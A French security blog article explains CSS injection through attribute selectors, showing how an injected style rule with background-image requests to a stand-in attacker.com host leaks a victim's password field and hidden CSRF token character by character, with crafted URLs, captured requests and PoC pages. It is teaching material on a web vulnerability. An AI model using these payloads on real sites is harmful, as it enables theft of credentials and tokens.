Cybersecurity
  • Mon Blog
    • 🏠Home
    • 📦Archives
      • 2024
      • 2023
      • 2022
    • 📂Catégories
    • 📧A propos de moi
  • Mes projets
    • Livres / publications
      • Sécurité des applications web - Stratégies offensives et défensives
    • MyExpense
    • XSS Exploitation Tool
  • Mes Articles
    • 2025
      • Mars
        • Comment les requêtes préparées (prepared statement) protègent-elles contre les injections SQL ?
      • Janvier
        • XSS Exploitation Tool v0.7.0
    • 2024
      • Décembre
        • XSS Exploitation Tool v0.6.0
      • Septembre
        • MyExpense v1.4
      • Aout
        • XSS Exploitation Tool v0.5.0
        • Exploitation des injections SQL au sein de la clause ORDER BY
      • Juin
        • Parution de mon livre, Sécurité des applications web - Stratégies offensives et défensives
      • Mai
        • Dompurify 3.0.10 bypass - Confusion nodeName and CDATA
        • Dompurify 3.0.9 bypass - Node type confusion
      • Avril
        • Bypass de validation d'URL et embedded credentials côté front
      • Mars
        • MyExpense v1.3
    • 2023
      • Mai
        • MyExpense v1.2
      • Mars
        • MyExpense v1.1
        • Fonctionnement de l'entête X-Content-Type-Options - Contournement de CSP
      • Février
        • Fonctionnement de l'entête HTTP Strict Transport Security Header (HSTS)
    • 2022
      • Décembre
        • Les injections CSS - Règle @import
        • Les injections CSS - Scroll-to-Text Fragment
      • Novembre
        • Les injections CSS - Attribute Selector
        • Les injections CSS - Règle @font-face et descripteur unicode
      • Octobre
        • XSS Exploitation Tool v0.4.0
      • Septembre
        • Cross-Site Scripting (XSS) et schéma d'URI javascript
      • Juillet
        • SAST - PHP CodeSniffer orienté sécurité dans Visual Studio (sous Windows)
        • SAST - PHP CodeSniffer orienté sécurité dans Visual Studio (sous Debian)
        • Est-il possible de contourner la fonction PHP htmlspecialchars() ?
  • Common Vulnerabilities and Exposures (CVE)
    • 2024
      • CVE-2024-29415
    • 2023
      • CVE-2023-42282
    • 2022
      • CVE-2022-33910
      • CVE-2022-32444
      • CVE-2022-32442
    • 2020
      • CVE-2020-26311
  • Livres
    • 2023
      • Attacking and Exploiting Modern Web Applications
      • DevSecOps - Développez et administrez vos services en toute sécurité
    • 2022
      • Hacking APIs - Breaking Web Application Programming Interfaces
    • 2018
      • Practical Web Penetration Testing
      • Web Hacking 101: How to Make Money Hacking Ethically
  • Walkthroughs
    • Capture The Flag
      • Hack.lu CTF 2019
        • Nucular Power Plant
      • TAMUctf 2019
        • 1337 Secur1ty
        • Bird Box Challenge
        • Science!
    • Deliberately Vulnerable
      • CORS vulnerable Lab
        • Application Trust Arbritrary Origin
        • Application has bad "regex" Implementation to check Trusted Origin
        • Application Trust "null" Origin
      • Damn Vulnerable Web Application (DVWA)
        • Brute Force
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • Command Injection
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • CSRF
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • File Inclusion
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • File Upload
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • Insecure CAPTCHA
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • SQL Injection
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • SQL Injection (Blind)
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • Weak Session IDs
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • XSS (DOM)
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • XSS (Reflected)
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • XSS (Stored)
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • CSP Bypass
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • Javascript
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
      • Unescape() room
        • Level 1 (practice)
        • Level 2 (practice)
        • Level 3 (practice)
        • Level 4 (practice)
        • Level 5 (practice)
        • Level 6 (practice)
        • Level 7 (practice)
        • Level 8 (practice)
        • Level 9 (practice)
        • Level 10 (practice)
      • VulnHub
        • GoatseLinux: 1
        • Hackademic: RTB1
        • Hackademic: RTB2
        • Holynix: v1
        • Holynix: v2
        • Kioptrix: Level 1 (#1)
        • Kioptrix: Level 1.1 (#2)
        • Kioptrix: Level 1.2 (#3)
        • Kioptrix: Level 1.3 (#4)
        • LAMPSecurity: CTF4
        • LAMPSecurity: CTF5
        • LAMPSecurity: CTF6
        • Metasploitable: 1
        • pWnOS 1.0
        • pWnOS 2.0 (Pre-Release)
      • XSS Vulnerability Challenges
        • xss1
        • xss2
        • xss3
        • xss4
        • xss5
        • xxs6
        • xss7
        • xss8
Propulsé par GitBook
Sur cette page
  • Utilisation des Feuilles de style en cascade (CSS)
  • La feuille de style externe
  • La feuille de style interne
  • Le style en ligne
  • Exploitation d'une injection XSS via un élément CSS
  • Exploitation d'une injection CSS
  • Récupération de la valeur d'un attribut d'un élément HTML via les sélecteurs d'attribut CSS
  • Récupération de la valeur d'un attribut d'un élément HTML de type hidden via les sélecteurs d'attribut CSS
  • Récupération de la valeur d'un attribut d'un élément HTML de type hidden via la pseudo-class CSS has()
  • Automatisation de l'attaque
  • Références
  1. Mes Articles
  2. 2022
  3. Novembre

Les injections CSS - Attribute Selector

06 Novembre 2022 (mis à jour le 19 Aout 2024)

PrécédentNovembreSuivantLes injections CSS - Règle @font-face et descripteur unicode

Dernière mise à jour il y a 8 mois

Les injections CSS ne sont pas les vulnérabilités les plus connues, mais permettent tout de même certaines exploitations. Pour illustrer cela, nous commençons par la récupération de valeurs d'attributs HTML grâce aux sélecteurs d'attributs CSS.

Utilisation des Feuilles de style en cascade (CSS)

Le est un langage informatique qui décrit la présentation des documents HTML et XML. Trois méthodes permettent d'appliquer un style aux documents.

La feuille de style externe

La méthode la plus couramment utilisée est de lier directement la feuille de style :

h1 {
  color: red;
}

à la page HTML grâce à l'élément <link> :

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <link rel="stylesheet" href="styles.css">
  </head>
  <body>
    <h1>Utilisation d'une feuille de style externe</h1>
  </body>
</html>

La feuille de style interne

La seconde méthode est d'utiliser une feuille de style interne directement dans le document HTML grâce à l'élément <style></style> :

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <style>
      h1 {
        color: red;
      }
    </style>
  </head>
  <body>
    <h1>Utilisation d'une feuille de style interne (head)</h1>
  </body>
</html>

Bien que l'ajout de la balise <style></style> se fait communément au sein de la balise <head></head>, rien n'empêche le développeur de l'ajouter au sein de la balise <body></body> :

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
  </head>
  <body>
    <style>
      h1 {
        color: red;
      }
    </style>
    <h1>Utilisation d'une feuille de style interne (body)</h1>
  </body>
</html>

Le style en ligne

Et finalement, la méthode sans doute la moins usitée est le style en ligne (inline style) :

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
  </head>
  <body>
    <h1 style="color: red;">Utilisation d'une feuille de style en linge (inline style)</h1>
  </body>
</html>

Exploitation d'une injection XSS via un élément CSS

Dans les cas les plus simples, une injection au sein d'un code CSS peut mener à une vulnérabilité de type Cross-Site Scripting (XSS) :

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <style>
      h1 {
        color: <?php echo $_GET['color']; ?>;
      }
  </style>
  </head>
  <body>
    <h1>Injection de type Cross-Site Scripting au sein de l'élément HTML style</h1>
  </body>
</html>

Bien que l'injection se situe au sein d'une balise <style></style>, aucune particularité liée au CSS n'intervient dans l'exploitation de cette vulnérabilité. Il suffit de procéder comme pour une XSS classique, c'est-à-dire ici de fermer la balise de style, puis de charger le code JavaScript désiré :

Suite à cette mésaventure, le développeur souhaite toujours laisser la possibilité à ses utilisateurs de personnaliser le style du site et notamment la couleur du titre de la page grâce au paramètre color, mais tout en protégeant son site. Etant maintenant sensibilisé aux vulnérabilités Web, la donnée non fiable est assainie par la méthode htmlspecialchars() transformant ainsi les caractères <, >, " et ' en entités HTML.

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <style>
      h1 {
        color: <?php echo htmlspecialchars($_GET['color'], ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5, "UTF-8") ?>;
      }
  </style>
  </head>
  <body>
    <h1>Assainissement de la donnée non fiable grâce à htmlspecialchars()</h1>
  </body>
</html>

De ce fait, l'injection précédente n'est maintenant plus possible :

Dans ce cas, l'application est-elle maintenant correctement protégée ? Qu'elles sont les exploitations toujours possibles pour un tel code ?

Exploitation d'une injection CSS

Récupération de la valeur d'un attribut d'un élément HTML via les sélecteurs d'attribut CSS

En CSS, les sélecteurs d'attributs permettent d'effectuer un traitement sur un élément, selon un de ses attributs ou de leur valeur. Il est possible d'utiliser cette mécanique afin de récupérer de l'information grâce à une injection CSS.

Le code vulnérable exploité possède un élément HTML <input> de type password et ayant comme valeur le mot de passe de la victime :

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <style>
      h1 {
       élément   color: <?php echo htmlspecialchars($_GET['color'], ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5, "UTF-8") ?>;
      }
  </style>
  </head>
  <body>
    <h1>Exploitation d'une injection CSS</h1>
    <form method="POST" action="">
      <input type="password" name="password" value="azerty">
      <input type="submit" name="currentPassword" value="Continue">
    </form>
  </body>
</html>

L'idée de l'exploitation va être d'utiliser les sélecteurs CSS afin de récupérer le mot de passe de la victime caractère par caractère. Voici un exemple de sélecteur d'attribut :

<style>
  input[name=password][value^=valeur] {
    background-image:url(https://banque-images.com/background.png);
  }
</style>

Le style va s'appliquer pour les éléments HTML <input>, dont l'attribut name est égal à "password" et dont la value commence par (le caractère ^ indique le début de chaîne) "valeur". Si un tel élément est trouvé, alors le navigateur appliquera le style background-image en récupérant l'image disponible à l'URL spécifiée.

L'attaquant va ainsi modifier le sélecteur comme ceci :

<style>
  input[name=password][value^=a] {
    background-image:url(https://attacker.com/?leak=a);
  }
</style>

Et amener sa victime à suivre le lien malicieux exploitant l'injection :

https://vulnerable.com/css-injection-element-password.php?color=black;}input[name=password][value^=a]{background-image:url(https://attacker.com/?leak=a);}

Lorsque le navigateur de la victime chargera la page, la condition sera remplie et une requête sera effectuée vers le serveur de l'attaquant :

GET /?leak=a HTTP/1.1
Host: attacker.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Referer: https://vulnerable.com
Connection: close

L'attaquant continuera son attaque en itérant sur les prochains caractères :

https://vulnerable.com/css-injection-element-password.php?color=black;}input[name=password][value^=az]{background-image:url(https://attacker.com/?leak=az);}
GET /?leak=az HTTP/1.1
Host: attacker.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Referer: https://vulnerable.com
Connection: close

Récupération de la valeur d'un attribut d'un élément HTML de type hidden via les sélecteurs d'attribut CSS

Malheureusement, la technique précédente ne fonctionne pas sur les champs <input> de type hidden. Cela pourrait pourtant être utile dans le cas ou l'application vulnérable utilise des champs cachés pour transmettre des jetons anti-CSRF par exemple :

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <style>
      h1 {
        color: <?php echo htmlspecialchars($_GET['color'], ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5, "UTF-8") ?>;
      }
  </style>
  </head>
  <body>
    <h1>Attribute selectors iframe with hidden input</h1>
    <form action="" method="POST">
        <input type="password" name="newPassword" placeholder="New Password">
        <input type="password" name="confirmNewPassword" placeholder="Confirm New Password">
        <input type="hidden" name="csrf-token" value="a5ccef6a-1f00-4a02-b16b-e4e9e517b223">
        <input type="submit" name="changePassword" value="Continue">
    </form>
  </body>
</html>

Cela est en fait possible en utilisant les combinateurs ~ et * à la suite du sélecteur CSS :

<style>
  input[name=csrf-token][value^=a]~* {
    background-image:url(https://attacker.com/?leak=a);
  }
</style>

Le lien malicieux devenant alors :

https://vulnerable.com/css-injection-element-hidden.php?color=black;}input[name=csrf-token][value^=a]~*{background-image:url(https://attacker.com/?leak=a);}

Et la requête effectuée par le navigateur de la victime sera :

GET /?leak=a HTTP/1.1
Host: attacker.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Referer: https://vulnerable.com
Connection: close

L'attaquant devra continuer son attaque pour récupérer ainsi les caractères restants :

GET /?leak=ab4f63f9 HTTP/1.1
Host: attacker.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Referer: https://vulnerable.com
Connection: close

L'inconvénient de ces techniques est qu'elles sont limitées à la récupération d'une information présente au sein d'un attribut. Impossible donc ici de récupérer le contenu d'un élément <span></span>, d'un <script></script> ou d'un paragraphe <p></p> par exemple.

Il existe toutefois d'autres techniques permettant cela et qui seront vues dans les prochaines parties de cet article.

Récupération de la valeur d'un attribut d'un élément HTML de type hidden via la pseudo-class CSS has()

Une alternative pouvant répondre à certaines limites des combinateurs CSS est d'utiliser le sélecteur CSS has() de la façon suivante :

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <style>
      h1 {
        color: <?php echo htmlspecialchars($_GET['color'], ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5, "UTF-8") ?>;
      }
  </style>
  </head>
  <body>
    <h1>Has attribute selectors iframe with hidden input</h1>
    <form action="" method="POST">
        <input type="password" name="newPassword" placeholder="New Password">
        <input type="password" name="confirmNewPassword" placeholder="Confirm New Password">
        <input type="hidden" name="csrf-token" value="a5ccef6a-1f00-4a02-b16b-e4e9e517b223">
        <input type="submit" name="changePassword" value="Continue">
    </form>
  </body>
</html>
<style>
  form:has(input[name=csrf-token][value^=a]) {
    background-image:url(https://attacker.com/?leak=a);
  }
</style>

Automatisation de l'attaque

Ci-dessous, plusieurs PoC tentant de résoudre ces problèmes.

PoC - Récupération de la valeur d'un attribut d'un élément HTML via les sélecteurs d'attribut CSS

<h1>Récupération de la valeur d'un attribut d'un élément HTML via les sélecteurs d'attribut CSS</h1>

<h2>PoC #1 - Champ de type password</h2>
<form method="POST" action="">
    <input type="password" name="password" value="qwerty">
    <input type="submit" name="currentPassword" value="Submit">
</form>
        
<h2>PoC #2 - Champ de type hidden</h2>
<form action="" method="POST">
    <input type="password" name="newPassword" placeholder="New Password">
    <input type="password" name="confirmNewPassword" placeholder="Confirm New Password">
    <input type="hidden" name="csrf-token" value="a5ccef6a-1f00-4a02-b16b-e4e9e517b223">
    <input type="submit" name="changePassword" value="Continue">
</form>

PoC - Récupération de la valeur d'un attribut d'un élément HTML de type hidden via la pseudo-class CSS has()

<h1>Récupération de la valeur d'un attribut d'un élément HTML via la pseudo-class CSS has()</h1>
        
<h2>PoC #1 - Champ de type password</h2>
<form method="POST" action="">
    <input type="password" name="password" value="qwerty">
    <input type="submit" name="currentPassword" value="Submit">
</form>
        
<h2>PoC #2 - Champ de type hidden</h2>
<form action="" method="POST">
    <input type="password" name="newPassword" placeholder="New Password">
    <input type="password" name="confirmNewPassword" placeholder="Confirm New Password">
    <input type="hidden" name="csrf-token" value="a5ccef6a-1f00-4a02-b16b-e4e9e517b223">
    <input type="submit" name="changePassword" value="Continue">
</form>

PoC - Récupération de la valeur d'un attribut d'un élément HTML via les Popups

Il existe une autre technique utilisant les popups et qui ne nécessite pas l'iframing du site vulnérable. Malheureusement, il faudra soit un clic en plus de la part de la victime afin de lancer l'attaque ou alors qu'il autorise l'ouverture des popups au sein de son navigateur. De plus, cette attaque est très bruyante puisque la victime voit directement les fenêtres s'ouvrir et se rafraichir.

<h1>Récupération de la valeur d'un attribut d'un élément HTML via les sélecteurs d'attribut CSS</h1>
 
<h2>PoC #1 - Champ de type password</h2>
 <form method="POST" action="">
    <input type="password" name="password" value="qwerty">
    <input type="submit" name="currentPassword" value="Submit">
</form>
        
<h2>PoC #2 - Champ de type hidden</h2>
<form action="" method="POST">
    <input type="password" name="newPassword" placeholder="New Password">
    <input type="password" name="confirmNewPassword" placeholder="Confirm New Password">
    <!-- shorter csrf token due to URI too long error -->
    <input type="hidden" name="csrf-token" value="ab4f63f9ac65">
    <input type="submit" name="changePassword" value="Continue">
</form>

Références

Le combinateur ~ () sélectionne les frères d'un élément, même dans le cas où ils ne sont pas adjacents, mais doivent avoir le même parent. Il est possible également d'utiliser le combinateur + () mais son utilisation est alors plus restreinte.

Le sélecteur* () correspond à un élément de n'importe quel type.

Un script d'automatisation exploitant l'injection CSS afin de récupérer une valeur d'un attribut existe déjà ici : . Son utilisation nécessite que la victime accède à la page malicieuse et que l'application vulnérable ciblée soit iframable (entêtes et ). Toutefois, ce PoC ne possède pas la partie back-end. Il faudra donc le développer, mais il reste toutefois assez simple. De plus, étant donné qu'une seule requête est effectuée par position de caractère, il est possible que l'iframing résulte en une erreur HTTP 414 URI Too Long et que l'attaque échoue.

Un PoC est disponible .

Un PoC est disponible .

Un PoC est disponible .

CSS
general sibling combinator
adjacent sibling combinator
universal selector
https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e
X-Frame-Options
frame-ancestors
ici
ici
ici
https://book.hacktricks.xyz/pentesting-web/xs-search/css-injection
https://x-c3ll.github.io/posts/CSS-Injection-Primitives/
https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e